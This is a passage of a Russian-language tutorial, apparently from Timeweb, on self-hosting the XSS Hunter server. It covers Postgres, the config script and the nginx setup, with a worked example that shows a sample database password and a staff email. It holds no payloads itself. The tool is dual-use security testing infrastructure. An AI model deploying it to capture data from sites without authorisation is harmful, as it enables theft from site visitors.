\u0437\u0430\u0432\u0435\u0434\u0438\u0442\u0435 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f \u0438 \u0431\u0430\u0437\u0443 \u0434\u0430\u043d\u043d\u044b\u0445 postgres \u0434\u043b\u044f XSS Hunter. \u0418\u0437\u043c\u0435\u043d\u0438\u0442\u0435 <b>EXAMPLE_PASSWORD<\/b> \u043d\u0430 \u0431\u043e\u043b\u0435\u0435 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u044b\u0439 \u043f\u0430\u0440\u043e\u043b\u044c. \u041e\u0447\u0435\u043d\u044c \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u044e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u043c\u0435\u043d\u0435\u0434\u0436\u0435\u0440 \u043f\u0430\u0440\u043e\u043b\u0435\u0439!<\/p>\n<pre><code class=\"bash\">sudo -i -u postgres psql template1 CREATE USER xsshunter WITH PASSWORD 'EXAMPLE_PASSWORD'; CREATE DATABASE xsshunter; \\q exit<\/code><\/pre>\n<div class=\"spoiler\" role=\"button\" tabindex=\"0\">                         <b class=\"spoiler_title\">\u041d\u0430 \u043f\u0440\u0438\u043c\u0435\u0440\u0435 Timeweb<\/b>                         <\/p>\n<div class=\"spoiler_text\">\n<pre><code class=\"bash\">root@372526-twosa:~# sudo -i -u postgres postgres@372526-twosa:~$ psql template1 psql (10.14 (Ubuntu 10.14-0ubuntu0.18.04.1)) Type &quot;help&quot; for help.  template1=# create user xsshunter with password '6fhQg18YFrna2LbX2EDWHfLoewy32i'; CREATE ROLE template1=# create database xsshunter; CREATE DATABASE template1=# \\q<\/code><\/pre>\n<p>  <\/div>\n<\/p><\/div>\n<h3>\u0423\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0430 \u0441\u0435\u0440\u0432\u0438\u0441\u0430<\/h3>\n<p>  \u0421\u043d\u0430\u0447\u0430\u043b\u0430 \u043a\u043b\u043e\u043d\u0438\u0440\u0443\u0435\u043c \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u0439:<\/p>\n<pre><code class=\"bash\">git clone https:\/\/github.com\/mandatoryprogrammer\/xsshunter cd xsshunter<\/code><\/pre>\n<div class=\"spoiler\" role=\"button\" tabindex=\"0\">                         <b class=\"spoiler_title\">\u041d\u0430 \u043f\u0440\u0438\u043c\u0435\u0440\u0435 Timeweb<\/b>                         <\/p>\n<div class=\"spoiler_text\">\n<pre><code class=\"bash\">root@372526-twosa:~# git clone https:\/\/github.com\/mandatoryprogrammer\/xsshunter root@372526-twosa:~# cd xsshunter<\/code><\/pre>\n<p>  <\/div>\n<\/p><\/div>\n<p>  <b>\u041e\u0431\u0440\u0430\u0442\u0438\u0442\u0435 \u0432\u043d\u0438\u043c\u0430\u043d\u0438\u0435<\/b>: \u0442\u0440\u0435\u0431\u0443\u0435\u0442\u0441\u044f Python2! \u0420\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u0439 \u043d\u0435 \u043f\u043e\u0434\u0434\u0435\u0440\u0436\u0438\u0432\u0430\u0435\u0442 Python3.<\/p>\n<p>  \u0427\u0442\u043e\u0431\u044b \u0437\u0430\u043f\u0443\u0441\u0442\u0438\u0442\u044c \u0441\u043a\u0440\u0438\u043f\u0442 \u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u0438, \u043d\u0430\u043c \u043d\u0443\u0436\u043d\u043e \u0434\u043e\u0431\u0430\u0432\u0438\u0442\u044c \u0434\u043e\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c\u043d\u0443\u044e \u0437\u0430\u0432\u0438\u0441\u0438\u043c\u043e\u0441\u0442\u044c:<\/p>\n<pre><code class=\"bash\"># install yaml support for python sudo apt-get install pyyaml<\/code><\/pre>\n<div class=\"spoiler\" role=\"button\" tabindex=\"0\">                         <b class=\"spoiler_title\">\u041d\u0430 \u043f\u0440\u0438\u043c\u0435\u0440\u0435 Timeweb<\/b>                         <\/p>\n<div class=\"spoiler_text\">\n<pre><code class=\"bash\">root@372526-twosa:~\/xsshunter# apt install python-pip root@372526-twosa:~\/xsshunter# pip install pyyaml<\/code><\/pre>\n<p>  <\/div>\n<\/p><\/div>\n<p>  \u0411\u043b\u0430\u0433\u043e\u0434\u0430\u0440\u0438\u043c \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f <a href=\"https:\/\/github.com\/xYantix\">xYantix<\/a> \u0437\u0430 \u043f\u0440\u0435\u0434\u043e\u0441\u0442\u0430\u0432\u043b\u0435\u043d\u0438\u0435 \u0440\u0430\u0431\u043e\u0447\u0435\u0433\u043e \u0440\u0435\u0448\u0435\u043d\u0438\u044f \u0432 <a href=\"https:\/\/github.com\/mandatoryprogrammer\/xsshunter\/pull\/33\">\u044d\u0442\u043e\u043c pull-request<\/a>.<\/p>\n<h3>\u041d\u0430\u0441\u0442\u0440\u043e\u0439\u043a\u0430 \u0441\u0435\u0440\u0432\u0438\u0441\u0430<\/h3>\n<p>  \u041e\u0442\u043b\u0438\u0447\u043d\u043e, \u043f\u0440\u0438\u0441\u0442\u0443\u043f\u0438\u043c! \u041c\u044b \u0433\u043e\u0442\u043e\u0432\u044b \u043a \u0437\u0430\u043f\u0443\u0441\u043a\u0443 \u0441\u043a\u0440\u0438\u043f\u0442\u0430 \u043d\u0430\u0441\u0442\u0440\u043e\u0439\u043a\u0438.<\/p>\n<pre><code class=\"bash\"># generate yaml config file .\/generate_config.py<\/code><\/pre>\n<div class=\"spoiler\" role=\"button\" tabindex=\"0\">                         <b class=\"spoiler_title\">\u041d\u0430 \u043f\u0440\u0438\u043c\u0435\u0440\u0435 Timeweb<\/b>                         <\/p>\n<div class=\"spoiler_text\">\n<pre><code class=\"bash\">root@372526-twosa:~\/xsshunter# .\/generate_config.py<\/code><\/pre>\n<p>  <\/div>\n<\/p><\/div>\n<p>  \u041f\u043e\u043a\u0430\u0436\u0443 \u043f\u0440\u043e\u0446\u0435\u0441\u0441 \u0448\u0430\u0433 \u0437\u0430 \u0448\u0430\u0433\u043e\u043c. \u0427\u0442\u043e\u0431\u044b \u0443\u0432\u0438\u0434\u0435\u0442\u044c \u043f\u0440\u0438\u043c\u0435\u0440 \u0432\u044b\u0432\u043e\u0434\u0430, \u0441\u043c. \u043f\u0440\u0438\u043c\u0435\u0440 \u043d\u0438\u0436\u0435. \u042f \u0434\u043e\u0431\u0430\u0432\u0438\u043b \u0447\u0438\u0441\u043b\u0430 \u0434\u043b\u044f \u0443\u0434\u043e\u0431\u043d\u043e\u0439 \u043d\u0430\u0432\u0438\u0433\u0430\u0446\u0438\u0438. \u0412 \u043e\u0441\u0442\u0430\u043b\u044c\u043d\u043e\u043c \u0432\u0441\u0435 \u0434\u043e\u043b\u0436\u043d\u043e \u0432\u044b\u0433\u043b\u044f\u0434\u0435\u0442\u044c \u043e\u0434\u0438\u043d\u0430\u043a\u043e\u0432\u043e.<\/p>\n<p>  1. \u0412\u0432\u0435\u0434\u0438\u0442\u0435 \u0432\u0430\u0448\u0435 \u0434\u043e\u043c\u0435\u043d\u043d\u043e\u0435 \u0438\u043c\u044f. \u042f \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043b mydomain.com \u0432 \u043a\u0430\u0447\u0435\u0441\u0442\u0432\u0435 \u043f\u0440\u0438\u043c\u0435\u0440\u0430.<\/p>\n<div class=\"spoiler\" role=\"button\" tabindex=\"0\">                         <b class=\"spoiler_title\">\u041d\u0430 \u043f\u0440\u0438\u043c\u0435\u0440\u0435 Timeweb<\/b>                         <\/p>\n<div class=\"spoiler_text\">\u0423 \u043d\u0430\u0441 \u044d\u0442\u043e 372526-twosa.tmweb.ru.  <\/div>\n<\/p><\/div>\n<p>  2. \u0412\u0432\u0435\u0434\u0438\u0442\u0435 \u0441\u0432\u043e\u0439 \u043a\u043b\u044e\u0447 API Mailgun, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0432\u044b \u043d\u0430\u0448\u043b\u0438 \u0438 \u0441\u043e\u0445\u0440\u0430\u043d\u0438\u043b\u0438 \u0440\u0430\u043d\u0435\u0435.<\/p>\n<p>  3. \u0412\u0432\u0435\u0434\u0438\u0442\u0435 \u0441\u0432\u043e\u0435 \u0434\u043e\u043c\u0435\u043d\u043d\u043e\u0435 \u0438\u043c\u044f Mailgun, \u043a\u043e\u0442\u043e\u0440\u043e\u0435 \u0432\u044b \u0442\u0430\u043a\u0436\u0435 \u0437\u0430\u043f\u0438\u0441\u0430\u043b\u0438 \u0440\u0430\u043d\u0435\u0435. (\u0422\u043e, \u0447\u0442\u043e \u043d\u0430\u0447\u0438\u043d\u0430\u0435\u0442\u0441\u044f \u0441 sandbox).<\/p>\n<p>  4. \u042f \u0441\u0447\u0438\u0442\u0430\u044e, \u044d\u0442\u043e \u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c <b>\u0447\u0442\u043e_\u0443\u0433\u043e\u0434\u043d\u043e@[\u0438\u043c\u044f \u0434\u043e\u043c\u0435\u043d\u0430 Mailgun]<\/b>, \u043d\u043e \u044f \u043f\u0440\u0438\u0434\u0435\u0440\u0436\u0438\u0432\u0430\u043b\u0441\u044f \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442\u043d\u043e\u0433\u043e \u0438\u043c\u0435\u043d\u043e\u0432\u0430\u043d\u0438\u044f \u043e\u0442 mailgun, \u0442\u0430\u043a \u043a\u0430\u043a \u0438\u043c\u044f \u0437\u0434\u0435\u0441\u044c \u043d\u0435 \u0438\u043c\u0435\u0435\u0442 \u043e\u0441\u043e\u0431\u043e\u0433\u043e \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u044f. \u042f \u043f\u0440\u0435\u0434\u043b\u0430\u0433\u0430\u044e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c: mailgun@[\u0438\u043c\u044f \u0434\u043e\u043c\u0435\u043d\u0430 Mailgun]. \u041d\u0435 \u0437\u0430\u0431\u0443\u0434\u044c\u0442\u0435 \u0437\u0430\u043c\u0435\u043d\u0438\u0442\u044c [\u0438\u043c\u044f \u0434\u043e\u043c\u0435\u043d\u0430 Mailgun] \u043d\u0430 \u0441\u0432\u043e\u0435.<\/p>\n<p>  5. \u042d\u0442\u043e \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u043e \u0434\u043b\u044f \u0442\u043e\u0433\u043e, \u0447\u0442\u043e\u0431\u044b \u043b\u044e\u0434\u0438 \u0441\u043e\u043e\u0431\u0449\u0430\u043b\u0438 \u043e \u043f\u0440\u0435\u0434\u043f\u043e\u043b\u0430\u0433\u0430\u0435\u043c\u043e\u043c \u0437\u043b\u043e\u0443\u043f\u043e\u0442\u0440\u0435\u0431\u043b\u0435\u043d\u0438\u0438 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u043e\u043c. \u0417\u0434\u0435\u0441\u044c \u0434\u043e\u043b\u0436\u0435\u043d \u0431\u044b\u0442\u044c \u0443\u043a\u0430\u0437\u0430\u043d \u0432\u0430\u0448 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0439 \u0438 \u0430\u043a\u0442\u0443\u0430\u043b\u044c\u043d\u044b\u0439 email. \u041d\u0430\u043f\u0440\u0438\u043c\u0435\u0440: <i>john.doe@gmail.com<\/i>.<\/p>\n<p>  6. \u0415\u0441\u043b\u0438 \u0432\u044b \u043f\u043e\u0432\u0442\u043e\u0440\u0438\u043b\u0438 \u0432\u0441\u0435 \u0448\u0430\u0433\u0438 \u0438\u0437 \u044d\u0442\u043e\u0439 \u0441\u0442\u0430\u0442\u044c\u0438, \u043f\u0440\u043e\u0441\u0442\u043e \u0432\u0432\u0435\u0434\u0438\u0442\u0435 xsshunter.<\/p>\n<p>  7. \u0412\u0432\u0435\u0434\u0438\u0442\u0435 \u043f\u0430\u0440\u043e\u043b\u044c, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0432\u044b \u0432\u044b\u0431\u0440\u0430\u043b\u0438 \u043f\u0440\u0438 \u0441\u043e\u0437\u0434\u0430\u043d\u0438\u0438 \u0431\u0430\u0437\u044b \u0434\u0430\u043d\u043d\u044b\u0445. \u0423\u043a\u0430\u0437\u0430\u043d\u043e \u0432\u044b\u0448\u0435, \u043a\u0430\u043a <b>EXAMPLE_PASSWORD<\/b>. \u0417\u0430\u043c\u0435\u043d\u0438\u0442\u0435 \u0442\u0435\u043a\u0441\u0442 <b>[YOUR_REALLY_SECURE_PASSWORD]<\/b> \u0432\u0430\u0448\u0438\u043c \u043f\u0430\u0440\u043e\u043b\u0435\u043c <b>EXAMPLE_PASSWORD<\/b>.<\/p>\n<p>  8. \u041a\u0430\u043a \u0438 \u0432 \u0448\u0430\u0433\u0435 \u21166, \u0435\u0441\u043b\u0438 \u0432\u044b \u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043b\u0438 \u044d\u0442\u043e\u043c\u0443 \u0440\u0443\u043a\u043e\u0432\u043e\u0434\u0441\u0442\u0432\u0443, \u043f\u0440\u043e\u0441\u0442\u043e \u0432\u0432\u0435\u0434\u0438\u0442\u0435 xsshunter.<\/p>\n<p>  \u041e\u043f! \u041d\u0430\u0441\u0442\u0440\u043e\u0439\u043a\u0430 \u0437\u0430\u0432\u0435\u0440\u0448\u0435\u043d\u0430!<\/p>\n<p>  \u0415\u0441\u043b\u0438 \u0432\u0430\u043c \u043a\u043e\u0433\u0434\u0430-\u043d\u0438\u0431\u0443\u0434\u044c \u043f\u043e\u043d\u0430\u0434\u043e\u0431\u0438\u0442\u0441\u044f \u0438\u0437\u043c\u0435\u043d\u0438\u0442\u044c \u044d\u0442\u0438 \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u044f, \u0432\u044b \u043c\u043e\u0436\u0435\u0442\u0435 \u043e\u0442\u0440\u0435\u0434\u0430\u043a\u0442\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0438\u0445 \u043f\u0440\u044f\u043c\u043e \u0432 \u0444\u0430\u0439\u043b\u0435 config.yaml.<\/p>\n<pre><code class=\"bash\">__   __ _____ _____   _    _             _ \\ \\ \/ \/\/ ____\/ ____| | |  | |           | |  \\ V \/| (___| (___   | |__| |_   _ _ __ | |_ ___ _ __   &gt; &lt;  \\___ \\\\\\\\___ \\  |  __  | | | | '_ \\| __\/ _ \\ '__|  \/ . \\ ____) |___) | | |  | | |_| | | | | ||  __\/ | \/_\/ \\_\\_____\/_____\/  |_|  |_|\\__,_|_| |_|\\__\\___|_|   \t                                           Setup Utility  \t(1)    What is the base domain name you will be using? \t(ex. localhost, www.example.com) \tDomain? mydomain.com  \tGreat! Now let's setup your Mailgun account to send XSS alerts to.  \t(2) \tEnter your API key: \t(ex. key-8da843ff65205a61374b09b81ed0fa35) \tMailgun API key: 92740xxxxxxxxxxxxxxxxxxxxxxxxxxx-65bxxx58-8ffxxxxx  \t(3) \tWhat is your Mailgun domain? \t(ex. example.com) \tMailgun domain: sandboxe6784d1f69d9486484bb8db10ab02380.mailgun.org  \t(4)    What email address is sending the payload fire emails?: \t(ex. no-reply@example.com) \tSending email address:  mailgun@sandboxe6784d1f69d9486484bb8db10ab02380.mailgun.org  \t(5)    Where should abuse\/contact emails go?: \t(ex. yourpersonal@gmail.com) \tAbuse\/Contact email: xsshunter@mydomain.com     (6) \tWhat postgres user is this service using? \t(ex. xsshunter) \tPostgres username: xsshunter  \t(7) \tWhat is the postgres user's password? \t(ex. @!$%@^%UOFGJOEJG$) \tPostgres password: [YOUR_REALLY_SECURE_PASSWORD]  \t(8) \tWhat is the postgres user's DB? \t(ex. xsshunter) \tPostgres DB: xsshunter  \tGenerating cookie secret... \tMinting new nginx configuration file...  \tSetup complete! Please now copy the 'default' file to  \/etc\/nginx\/sites-enabled\/default \tThis can be done by running the following: \tsudo cp default \/etc\/nginx\/sites-enabled\/default  \tAlso, please ensure your wildcard SSL certificate and key are available at  the following locations: \t\/etc\/nginx\/ssl\/mydomain.com.crt; # Wildcard SSL certificate \t\/etc\/nginx\/ssl\/mydomain.com.key; # Wildcard SSL key  \tGood luck hunting for XSS!<\/code><\/pre>\n<div class=\"spoiler\" role=\"button\" tabindex=\"0\">                         <b class=\"spoiler_title\">\u041d\u0430 \u043f\u0440\u0438\u043c\u0435\u0440\u0435 Timeweb<\/b>                         <\/p>\n<div class=\"spoiler_text\">\n<pre><code class=\"bash\">  \tSetup Utility  What is the base domain name you will be using? (ex. localhost, www.example.com) Domain? 372526-twosa.tmweb.ru Great! Now let's setup your Mailgun account to send XSS alerts to.  Enter your API key: (ex. key-8da843ff65205a61374b09b81ed0fa35) Mailgun API key: 67ee**************************-9b*******-919*****  What is your Mailgun domain? (ex. example.com) Mailgun domain: sandbox82f7e729ed934d1189bcc6bd32aaa977.mailgun.org  What email address is sending the payload fire emails?: (ex. no-reply@example.com) Sending email address: mailgun@sandbox82f7e729ed934d1189bcc6bd32aaa977.mailgun.org  Where should abuse\/contact emails go?: (ex. yourpersonal@gmail.com) Abuse\/Contact email: r.tkach@timeweb.ru   What postgres user is this service using? (ex. xsshunter) Postgres username: xsshunter  What is the postgres user's password? (ex. @!$%@^%UOFGJOEJG$) Postgres password: [EXAMPLE_PASSWORD]  What is the postgres user's DB? (ex. xsshunter) Postgres DB: xsshunter  Generating cookie secret... Minting new nginx configuration file...  Setup complete! Please now copy the 'default' file to \/etc\/nginx\/sites-enabled\/default This can be done by running the following: sudo cp default \/etc\/nginx\/sites-enabled\/default  Also, please ensure your wildcard SSL certificate and key are available at the following locations: \/etc\/nginx\/ssl\/xsshunter.timeweb.ru.crt; # Wildcard SSL certificate \/etc\/nginx\/ssl\/xsshunter.timeweb.ru.key; # Wildcard SSL key  Good luck hunting for XSS!                                                     \t-mandatory<\/code><\/pre>\n<p>  <\/div>\n<\/p><\/div>\n<p>  \u0422\u0435\u043f\u0435\u0440\u044c \u0443 \u0432\u0430\u0441 \u0434\u043e\u043b\u0436\u043d\u043e \u0431\u044b\u0442\u044c 2 \u043d\u043e\u0432\u044b\u0445 \u0444\u0430\u0439\u043b\u0430 \u0432 \u043f\u0430\u043f\u043a\u0435 xsshunter:  <\/p>\n<ul>\n<li><b>config.yaml<\/b> (\u0441\u043e\u0434\u0435\u0440\u0436\u0438\u0442 \u043a\u043b\u044e\u0447\u0438 API \u0438 \u0443\u0447\u0435\u0442\u043d\u044b\u0435 \u0434\u0430\u043d\u043d\u044b\u0435)<\/li>\n<li><b>default<\/b> (\u0441\u043e\u0434\u0435\u0440\u0436\u0438\u0442 \u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u044e nginx)<\/li>\n<\/ul>\n<h3>\u041a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u044f NGINX<\/h3>\n<p>  <\/p>\n<h4>\u0418\u0437\u043c\u0435\u043d\u0438\u043c \u0440\u0430\u0441\u043f\u043e\u043b\u043e\u0436\u0435\u043d\u0438\u0435 \u0441\u0435\u0440\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u0430 SSL<\/h4>\n<p>  \u0415\u0441\u043b\u0438 \u0432\u044b \u0442\u0430\u043a \u0436\u0435, \u043a\u0430\u043a \u0438 \u044f, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0435 Let&#8217;s Encrypt, \u0432\u0430\u043c \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u043e \u0438\u0437\u043c\u0435\u043d\u0438\u0442\u044c \u0444\u0430\u0439\u043b <b>default<\/b>.<\/p>\n<p>  \u0427\u0442\u043e\u0431\u044b \u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u044f \u0440\u0430\u0431\u043e\u0442\u0430\u043b\u0430 \u0441 \u043d\u0430\u0441\u0442\u0440\u043e\u0439\u043a\u0430\u043c\u0438 Let&#8217;s Encrypt \u043f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e, \u043c\u044b \u0434\u043e\u043b\u0436\u043d\u044b \u0437\u0430\u043a\u043e\u043c\u043c\u0435\u043d\u0442\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0432\u0441\u0435 \u0432\u0445\u043e\u0436\u0434\u0435\u043d\u0438\u044f:<\/p>\n<p>  <code>\/etc\/nginx\/ssl\/mydomain.com.crt; # Wildcard SSL certificate<br \/>  \/etc\/nginx\/ssl\/mydomain.com.key; # Wildcard SSL key<\/code><\/p>\n<p>  \u0438 \u0437\u0430\u043c\u0435\u043d\u0438\u0442\u044c \u043d\u0430<\/p>\n<p>  <code>ssl_certificate \/etc\/letsencrypt\/live\/mydomain.com-0001\/fullchain.pem ; # managed by Certbot<br \/>  ssl_certificate_key \/etc\/letsencrypt\/live\/mydomain.com-0001\/privkey.pem; # managed by Certbot<\/code><\/p>\n<p>  <b>\u041f\u0440\u0438\u043c\u0435\u0447\u0430\u043d\u0438\u044f:<\/b><\/p>\n<p>  1. \u0417\u0430\u043c\u0435\u043d\u0438\u0442\u0435 mydomain.com \u043d\u0430 \u0441\u0432\u043e\u0435 \u0434\u043e\u043c\u0435\u043d\u043d\u043e\u0435 \u0438\u043c\u044f!<\/p>\n<p>  2. \u0412\u0441\u0451 \u043f\u043e\u0441\u043b\u0435 \u0441\u0438\u043c\u0432\u043e\u043b\u0430 # \u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u043a\u043e\u043c\u043c\u0435\u043d\u0442\u0430\u0440\u0438\u044f\u043c\u0438. \u0412\u044b \u043c\u043e\u0436\u0435\u0442\u0435 \u0443\u0434\u0430\u043b\u0438\u0442\u044c \u0438\u0445, \u0435\u0441\u043b\u0438 \u0445\u043e\u0442\u0438\u0442\u0435.<\/p>\n<p>  \u0422\u0435\u043f\u0435\u0440\u044c \u0432\u0430\u0448 \u0444\u0430\u0439\u043b <b>default<\/b> \u0434\u043e\u043b\u0436\u0435\u043d \u0432\u044b\u0433\u043b\u044f\u0434\u0435\u0442\u044c \u0442\u0430\u043a:<\/p>\n<pre><code class=\"nginx\">server {     # Redirect HTTP to www     listen 80;     server_name mydomain.com;     location \/ {         rewrite ^\/(.*)$ https:\/\/www.mydomain.com\/$1 permanent;     } }  server {     # Redirect payloads to HTTPS     listen 80;     server_name *.mydomain.com;     proxy_set_header X-Forwarded-For $remote_addr;      return 307 https:\/\/$host$request_uri;     client_max_body_size 500M; # In case we have an extra large payload capture }  server {     # Redirect HTTPS to www     listen 443;     ssl on;      # New conf     ssl_certificate \/etc\/letsencrypt\/live\/mydomain.com-0001\/fullchain.pem; #  managed by Certbot     ssl_certificate_key \/etc\/letsencrypt\/live\/mydomain.com-0001\/privkey.pem; #  managed by Certbot      # Original conf     #ssl_certificate \/etc\/nginx\/ssl\/mydomain.com.crt; # Wildcard SSL certificate     #ssl_certificate_key \/etc\/nginx\/ssl\/mydomain.com.key; # Wildcard SSL  certificate key      server_name mydomain.com;     location \/ {         rewrite ^\/(.*)$ https:\/\/www.mydomain.com\/$1 permanent;     } }  server {     # API proxy     listen 443;     ssl on;      # New conf     ssl_certificate \/etc\/letsencrypt\/live\/mydomain.com-0001\/fullchain.pem; #  managed by Certbot     ssl_certificate_key \/etc\/letsencrypt\/live\/mydomain.com-0001\/privkey.pem; #  managed by Certbot      # Original conf     #ssl_certificate \/etc\/nginx\/ssl\/mydomain.com.crt; # Wildcard SSL certificate     #ssl_certificate_key \/etc\/nginx\/ssl\/mydomain.com.key; # Wildcard SSL  certificate key      server_name *.mydomain.com;     access_log \/var\/log\/nginx\/mydomain.com.vhost.access.log;     error_log \/var\/log\/nginx\/mydomain.com.vhost.error.log;      client_max_body_size 500M;      location \/ {         proxy_pass  http:\/\/localhost:8888;         proxy_set_header Host $host;         proxy_set_header X-Forwarded-For $remote_addr;     } }  server {     # Redirect api to HTTPS     listen 80;     server_name api.mydomain.com; # Subdomain for API server     proxy_set_header X-Forwarded-For $remote_addr;      return 307 https:\/\/api.mydomain.com$request_uri;     client_max_body_size 500M; # In case we have an extra large payload capture }  server {    # Redirect www to HTTPS    listen 80;    server_name www.mydomain.com;    location \/ {        rewrite ^\/(.*)$ https:\/\/www.mydomain.com\/$1 permanent;    } }  server {    # GUI proxy    listen 443;    server_name www.mydomain.com;    client_max_body_size 500M;    ssl on;     # New conf    ssl_certificate \/etc\/letsencrypt\/live\/mydomain.com-0001\/fullchain.pem; #  managed by Certbot    ssl_certificate_key \/etc\/letsencrypt\/live\/mydomain.com-0001\/privkey.pem; #  managed by Certbot     # Original conf    #ssl_certificate \/etc\/nginx\/ssl\/mydomain.com.crt; # Wildcard SSL certificate    #ssl_certificate_key \/etc\/nginx\/ssl\/mydomain.com.key; # Wildcard SSL  certificate key      location \/ {        proxy_pass  http:\/\/localhost:1234;        proxy_set_header Host $host;    } }<\/code><\/pre>\n<div class=\"spoiler\" role=\"button\" tabindex=\"0\">                         <b class=\"spoiler_title\">\u041d\u0430 \u043f\u0440\u0438\u043c\u0435\u0440\u0435 Timeweb<\/b>                         <\/p>\n<div class=\"spoiler_text\">\n<pre><code class=\"nginx\">server { \t# Redirect HTTP to www \tlisten 80; \tserver_name 372526-twosa.tmweb.ru; \tlocation \/ {     \trewrite ^\/(.*)$ https:\/\/www.372526-twosa.tmweb.ru\/$1 permanent; \t} }  server { \t# Redirect payloads to HTTPS \tlisten 80; \tserver_name *.372526-twosa.tmweb.ru; \tproxy_set_header X-Forwarded-For $remote_addr;  \treturn 307 https:\/\/$host$request_uri; \tclient_max_body_size 500M; # In case we have an extra large payload capture }  server { \t# Redirect HTTPS to www \tlisten 443; \tssl on;      \tssl_certificate \/etc\/letsencrypt\/live\/372526-twosa.tmweb.ru\/fullchain.pem; # Wildcard SSL certificate \tssl_certificate_key \/etc\/letsencrypt\/live\/372526-twosa.tmweb.ru\/privkey.pem; # Wildcard SSL certificate key      \tserver_name 372526-twosa.tmweb.ru; \tlocation \/ {     \trewrite ^\/(.*)$ https:\/\/www.372526-twosa.tmweb.ru\/$1 permanent; \t} }  server { \t# API proxy \tlisten 443; \tssl on;      \tssl_certificate \/etc\/letsencrypt\/live\/372526-twosa.tmweb.ru\/fullchain.pem; # Wildcard SSL certificate \tssl_certificate_key \/etc\/letsencrypt\/live\/372526-twosa.tmweb.ru\/privkey.pem; # Wildcard SSL certificate key  \tserver_name *.372526-twosa.tmweb.ru; \taccess_log \/var\/log\/nginx\/372526-twosa.tmweb.ru.vhost.access.log; \terror_log \/var\/log\/nginx\/372526-twosa.tmweb.ru.vhost.error.log;  \tclient_max_body_size 500M;  \tlocation \/ {#     \tproxy_pass  http:\/\/localhost:8888;     \tproxy_set_header Host $host;     \tproxy_set_header X-Forwarded-For $remote_addr; \t} }  server { \t# Redirect api to HTTPS \tlisten 80; \tserver_name api.372526-twosa.tmweb.ru; # Subdomain for API server \tproxy_set_header X-Forwarded-For $remote_addr;  \treturn 307 https:\/\/api.372526-twosa.tmweb.ru$request_uri; \tclient_max_body_size 500M; # In case we have an extra large payload capture }  server {    # Redirect www to HTTPS    listen 80;    server_name www.372526-twosa.tmweb.ru;    location \/ {    \trewrite ^\/(.*)$ https:\/\/www.372526-twosa.tmweb.ru\/$1 permanent;    } }  server {    # GUI proxy    listen 443;    server_name www.372526-twosa.tmweb.ru;    client_max_body_size 500M;    ssl on;     \tssl_certificate \/etc\/letsencrypt\/live\/372526-twosa.tmweb.ru\/fullchain.pem; # Wildcard SSL certificate \tssl_certificate_key \/etc\/letsencrypt\/live\/372526-twosa.tmweb.ru\/privkey.pem; # Wildcard SSL certificate key     location \/ {    \tproxy_pass  http:\/\/localhost:1234;    \tproxy_set_header Host $host;    } }<\/code><\/pre>\n<p>  <\/div>\n<\/p><\/div>\n<h3>\u041f\u0440\u0438\u043c\u0435\u043d\u0438\u043c \u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u044e NGINX<\/h3>\n<p>  \u0421\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0439 \u0448\u0430\u0433 \u2014 \u044d\u0442\u043e \u043f\u0435\u0440\u0435\u043c\u0435\u0441\u0442\u0438\u0442\u044c \u0444\u0430\u0439\u043b \u0432 \u043f\u0430\u043f\u043a\u0443 nginx. \u0421\u0447\u0438\u0442\u0430\u0435\u0442\u0441\u044f \u0445\u043e\u0440\u043e\u0448\u0435\u0439 \u043f\u0440\u0430\u043a\u0442\u0438\u043a\u043e\u0439 \u0438\u043c\u0435\u0442\u044c \u0444\u0430\u0439\u043b\u044b \u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u0438 \u0432 \u043f\u0430\u043f\u043a\u0435 <b>&#8230;\/sites-available<\/b>, \u0430 \u0437\u0430\u0442\u0435\u043c \u0441\u043e\u0437\u0434\u0430\u0432\u0430\u0442\u044c \u0441\u0438\u043c\u0432\u043e\u043b\u0438\u0447\u0435\u0441\u043a\u0438\u0435 \u0441\u0441\u044b\u043b\u043a\u0438 \u043d\u0430 \u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u0438, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0432\u044b \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0435, \u043d\u0430 <b>&#8230;\/sites-enabled<\/b>. \u041c\u044b \u043f\u043e\u0441\u0442\u0443\u043f\u0438\u043c \u0438\u043c\u0435\u043d\u043d\u043e \u0442\u0430\u043a.<\/p>\n<p>  